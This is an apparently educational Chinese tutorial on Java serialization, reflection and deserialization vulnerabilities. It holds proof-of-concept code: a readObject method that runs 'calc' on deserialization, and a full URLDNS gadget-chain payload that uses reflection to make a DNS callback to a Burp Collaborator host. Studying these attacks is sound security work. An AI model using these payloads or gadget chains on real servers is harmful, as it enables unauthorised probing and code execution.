Java序列化是指把Java对象转换为字节序列的过程;
Java反序列化是指把字节序列恢复为Java对象的过程。
序列化分为两大部分:
① 想把内存中的对象保存到一个文件中或者数据库中时候;
② 想用套接字在网络上传送对象的时候;
③ 想通过RMI传输对象的时候
一些应用场景,涉及到将对象转化成二进制,序列化保证了能够成功读取到保存的对象。
java序列化对应的传输协议:
这里我们就通过代码来呈现一下,上面的用途究竟是如何进行的,我们首先构造一个Person的类:
这里我们对重点代码进行一下解释:
是 Java 提供的序列化接口,它是一个空接口
public interface Serializable { }
Serializable 用来标识当前类可以被 ObjectOutputStream 序列化,以及被 ObjectInputStream 反序列化。 只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列(不是则会抛出异常)。也就是说,这里我们想要实例化Person这个类,我们后面要添加上Serializable这个接口,才能被序列化为字节。
public class Person implements Serializable{}
import java.io.Serializable; public class Person implements Serializable {//引用一个序列化的接口 private String name; private int age; public Person(){ } public Person(String name,int age){ this.name= name; this.age=age; } public String toString(){ return "Person{" + "name='" + name + '\'' + ", age=" + age + '}'; } }
然后假设一个我们需要发送信息的机器,将我们的Person这个类通过序列化为二进制字节以后传输出去:
通过 ObjectOutputStream 将需要序列化数据写入到流中,因为 Java IO 是一种装饰者模式,因此可以通过 ObjectOutStream 包装 FileOutStream 将数据写入到文件中或者包装 ByteArrayOutStream 将数据写入到内存中。同理,可以通过 ObjectInputStream 将数据从磁盘 FileInputStream 或者内存 ByteArrayInputStream 读取出来然后转化为指定的对象即可。
序列化类的属性没有实现 Serializable 那么在序列化就会报错
如果要序列化的对象的父类没有实现序列化接口,那么在反序列化时是会调用对应的无参构造方法的,这样做的目的是重新初始化父类的属性,例如 Animal 因为没有实现序列化接口,因此对应的 color 属性就不会被序列化,因此反序列得到的 color 值就为 null。
import java.io.*; public class SerializationTest { public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static void main(String[] args) throws Exception{ Person person=new Person("aa",22); System.out.println(person); serialize(person); } }
然后假设一个接收信息的机器,需要将收到的二进制字节反序列化为Person:
import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; public class UnserializeTest { public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void main(String[] args) throws Exception{ Person person = (Person)unserialize("ser.bin"); System.out.println(person); } }
代表对象输出流:
它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中。
代表对象输入流:
它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。
只要服务端对数据进行反序列化,客户端传递类的readObject方法会在代码中自动执行,给予了攻击者在服务器上运行代码的能力
入口类的readObject直接调用危险方法:
在Person类中直接加入这个readObject方法,调用了危险方法,在将序列化字符串进行反序列化的时候会直接执行readObject里面的命令。
private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{ ois.defaultReadObject(); Runtime.getRuntime().exec("calc"); }
入口类参数中包含可控类,该类有危险方法,readObject时调用
入口类参数中包含可控类,该类又调用其他存在危险方法的类,readObject时调用,类比php反序列化
构造函数/静态代码块等类加载时隐式执行
后面会详细讲解这里
Oracle 官方对反射的解释是:
Reflection is commonly used by programs which require the ability to examine or
modify the runtime behavior of applications running in the Java virtual machine.
This is a relatively advanced feature and should be used only by developers who
have a strong grasp of the fundamentals of the language. With that caveat in
mind, reflection is a powerful technique and can enable applications to perform
operations which would otherwise be impossible.
Java 反射是指在运行状态中,对于任意一个类都能够知道这个类所有的属性和方法; 并且对于任意一个对象,都能够调用它的任意一个方法;这种动态获取信息以及动态调用对象方法的功能成为Java语言的反射机制。
既然存在反射,就一定有正射,我们先来理解一下正射时什么意思:我们在编写代码时,当需要使用到某一个类的时候,都会先了解这个类是做什么的。然后实例化这个类,接着用实例化好的对象进行操作,这就是正射。
Student student = new Student(); student.doHomework("数学");
反射就是,一开始并不知道我们要初始化的类对象是什么,自然也无法使用 new 关键字来创建对象了。
Class clazz = Class.forName("reflection.Student"); Method method = clazz.getMethod("doHomework", String.class); Constructor constructor = clazz.getConstructor(); Object object = constructor.newInstance(); method.invoke(object, "语文");
在反序列化漏洞中的作用:
Class的理解:
因为一开始对Class理解的不透彻,导致反射机制经常被绕,这里我们来理解一下Class:
在运行过程当中,Java对对象和类的信息识别主要有两种方式:
每个类都有一个Class对象,每当编译一个新类就产生一个Class对象(更恰当地说,是被保存在一个同名的.class文件中)。比如创建一个Student类,那么,JVM就会创建一个Student对应Class类的Class对象,该Class对象保存了Student类相关的类型信息。
法一:通过实例化类获得完整的类的原型:
Person person = new Person();//实例化对象 Class c = person.getClass();//获得person对应的Class原型
法二:class.forName()获取Class类:
这里其实就属于反射:在代码运行时是通过字符串reflection.person,才知道要操作的对象是谁
Class c=Class.forName("reflection.person"); //里面要填:类所在的包名+类名
法三:使用类的.class方法
Class c=TestReflection.class
法一:通过Class中的newInstence()方法:
Class p=Class.forName("Person"); Object p1=p.newInstance(); //这里也有另一种写法,区别是要进行强制类型转化 Class p=Class.forName("Person"); Person p1=(Person)p.newInstance();
法二:通过Constructor的newInstance()方法:
Constructor personconstructor = c.getConstructor(String.class,int.class);//获取person里面的构造函数 Person p = (Person) personconstructor.newInstance("abc",22); System.out.println(p);
这里我们要注意一个点,先给出Person类中的代码:
import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; public class Person implements Serializable { public String name; private int age; public Person(){ } public Person(String name,int age){ this.name= name; this.age=age; } public String toString(){ return "Person{" + "name='" + name + '\'' + ", age=" + age + '}'; } private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{ ois.defaultReadObject(); Runtime.getRuntime().exec("calc"); } public void action(String act){ System.out.println(act); } }
我们在创建Class类对象这里只关注两个地方:
public Person(){}//无参构造方法 public Person(String name,int age){//含参构造方法 this.name= name; this.age=age; }
我们关注上面那段代码中的注释:
newInstence()对应的方法其实就是无参数构造器对应的方法,通过无参的构造器来进行实例化,但是如果类中一旦不存在无参构造器就会出现这样的情况:
此时第一种方式就行不通了,所以这时候我们就需要第二种方法了,我们首先通过Class取到Person类的原型以后,通过Constructor中的getConstructor方法取到Person类中含参构造器,然后再设置对应参数类型的原型,所以这里要加上.class,然后通过newInstance对类进行实例化时就可以对属性赋值。
Class c=Class.forName("Person"); Constructor personconstructor = c.getConstructor(String.class,int.class); Person p = (Person) personconstructor.newInstance("abc",22);
法一:通过类的原型获取public属性
getField(String name) Field f=c.getField("name");//括号中对应的参数为属性值
法二:获取类的一个全部类型的属性
getDeclaredField(String name) Field f=c.getDeclaredField("name");
当然这里我们也可以通过setAccessiable获取私有属性:
Constructor personconstructor = c.getConstructor(String.class,int.class);//获取person里面的构造函数 Person p = (Person) personconstructor.newInstance("abc",22); System.out.println(p); Field namefield = c.getDeclaredField("age");//根据变量名获取 namefield.setAccessible(true);//能够访问私有属性 namefield.set(p,24);//改变类的对象的值,对应的就是p System.out.println(p);
法三:获取类的全部public类型的属性
getFields() Field[] f=c.getFields();
法四:获取类的全部类型的属性
getDeclaredFields() Field[] personfields = c.getDeclaredFields(); for(Field f:personfields){ System.out.println(f); }
法一:获取类的public类型方法
getMethod(String name,class[] parameterTypes) Method actionmethod = c.getMethod("action",String.class);//要注意这里有两个参数,后面要传入的是方法形参的类型的原型,无参函数就不用填
法二:获取类的一个特定任一类型的方法
getDeclaredMethod(String name,class[] parameterTypes) Method actionmethod = c.getDeclaredMethod("action",String.class); actionmethod.setAccessible(true); actionmethod.invoke(p,"asdfasdf");
法三:获取类的全部public的方法
getMethods() Class p=Class.forName("test.phone"); Method[] m=p.getMethods();
法四:获取类的全部类型的方法
getDeclaredMethods() Method[] m=p.getDeclaredMethods();
Person.java:
import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; public class Person implements Serializable { public String name; private int age; public Person(){ } public Person(String name,int age){ this.name= name; this.age=age; } public String toString(){ return "Person{" + "name='" + name + '\'' + ", age=" + age + '}'; } private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{ ois.defaultReadObject(); Runtime.getRuntime().exec("calc"); } public void action(String act){ System.out.println(act); } }
ReflectionTest.java
import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; public class ReflectionTest { public static void main(String[] args) throws Exception{ Person person = new Person(); Class c = person.getClass();//对应person的原型 Class k=Person.class; Class j=Class.forName("Person"); System.out.println(c); System.out.println(k); System.out.println(j); //反射就是操作Class //从原型class里面实例化对象 /*c.newInstance();*/ Class p11=Class.forName("Person"); Person p111=(Person)p11.newInstance(); System.out.println(p111); Constructor personconstructor = c.getConstructor(String.class,int.class);//获取person里面的构造函数 Person p = (Person) personconstructor.newInstance("abc",22); System.out.println(p); //获取类的属性 // Field[] personfields = c.getDeclaredFields(); for(Field f:personfields){ System.out.println(f); } // Field namefield = c.getDeclaredField("age");//根据变量名获取 // namefield.setAccessible(true);//能够访问私有属性 // namefield.set(p,24);//改变类的对象的值,对应的就是p // System.out.println(p); //调用类的方法 // Method[] personmethod = c.getMethods(); // for(Method m: personmethod){ // System.out.println(m); // } Method actionmethod = c.getDeclaredMethod("action",String.class); actionmethod.setAccessible(true); actionmethod.invoke(p,"asdfasdf"); } }
ysoserial反序列化工具中的URLDNS的payload:
https://github.com/frohoff/ysoserial/tree/master/src/main/java/ysoserial/payloads
漏洞简要的挖掘思路:
然后跟进hashCode下的函数我们可以发现:
在URLStreamHandler类中存在这么一个hashCode函数,并且里面存在这样的一串代码:
InetAddress addr = getHostAddress(u);//根据域名来获取地址
也就是说如果我们如果可以调用URLStreamHandler类中的hashCode函数(执行类)我们就可以得到一个DNS请求。
这里其实说到了前面没有说到的反序列化漏洞的利用条件:
1. 类要继承Seriailizable才能够进行序列化和反序列化//在URL那里存在一个可以序列化的接口 2. 入口类特征(重写readObject能够进行命令执行,调用常见的函数如toString,equals等,参数的类型广泛,jdk自带) 3. 调用链(相同名称,相同类型) 4. 执行类(攻击类型)//URL类中的hashCode函数
我们在这里梳理一下:
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>(); //这里不能够发起请求 hashmap.put(new URL("http://2il5ylcsc7m6l5qofjxawukil9rzfo.burpcollaborator.net"),1); //这里把hashcode改回-1 //通过反射,改变已有对象的属性 serialize(hashmap);
这里我详细讲解一下入口类的选用,这里序列化为什么会选择hashMap作为入口类:
我们上面的反序列化漏洞利用条件里面对入口类特征有这样的一个描述:
1. 重写readObject能够进行命令执行
2. 调用常见的函数如toString,equals等
3. 参数的类型广泛
4. jdk自带
首先我们来看一下hashMap的结构:
在hashMap中我们可以发现它的参数是以键值对的形式进行传参,所以接收的参数类型非常的广泛,并且有Serializable接口,同时在他的结构中我们发现了重写的readObject因此可以直接执行命令,并且在readObject中还调用了常用的函数hash(),同时还是jdk自带的类,所以非常符合我们所说的入口类特征
public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }
new URL("2il5ylcsc7m6l5qofjxawukil9rzfo.burpcollaborator.net")
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
但是这里存在一个问题:因为我们最后要绕过if,调用的是
hashCode = handler.hashCode(this);
但是追踪一下if中的hashCode值我们就发现,初始化为-1:
private int hashCode = -1;
在我们序列化的时候就会执行这个语句从而发送DNS请求,而返回hashCode值就从-1变成了URL的字符串,等到我们反序列化的时候,就无法绕过if语句从而发送DNS请求了,所以这里我们需要将hashCode值进行控制修改,就利用到了反射的知识:这是优化以后的代码:
SerializationTest.java import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; public class SerializationTest { public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static void main(String[] args) throws Exception{ // Person person=new Person("aa",22); // System.out.println(person); HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>(); //这里不能够发起请求,把url对象的hashcode改成不是-1 URL url=new URL("http://2il5ylcsc7m6l5qofjxawukil9rzfo.burpcollaborator.net");//创建一个URL对象 Class c = url.getClass();//获取到这个对象的原型 Field hashcodefield = c.getDeclaredField("hashCode");//获取到对象的hashCode属性 hashcodefield.setAccessible(true);//设置能够访问private属性 hashcodefield.set(url,1234);//给hashCode赋值为1234 hashmap.put(url,1);//将我们新建的url对象放入hashMap中,这样才能把我们的URL传进去 //这里把hashcode改回-1 //通过反射,改变已有对象的属性 hashcodefield.set(url,-1);//执行完以后再将属性值改为-1 serialize(hashmap);//序列化对象 } }
这样我们在序列化的时候就不会发送DNS请求,而是在反序列化之后才会:
UnserializeTest.java import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; public class UnserializeTest { public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void main(String[] args) throws Exception{ unserialize("ser.bin"); } }
我们在hashCode的if语句下一个断点来看一下反序列化到那里对应的hashCode值为多少:
反序列化步骤:
入口A:HashMap.java 接收参数O
目标类B:URL.java
目标调用B.f(调用函数)
A.readObject->B.f
参考文章:
https://juejin.cn/post/6844904025607897096#heading-18
https://blog.csdn.net/mocas_wang/article/details/107621010?ops_request_misc=&request_id=137ce9676bec4fd79e7e5656dd9a8d26&biz_id=&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~koosearch~default-6-107621010-null-null.268^v1^control&utm_term=java&spm=1018.2226.3001.4450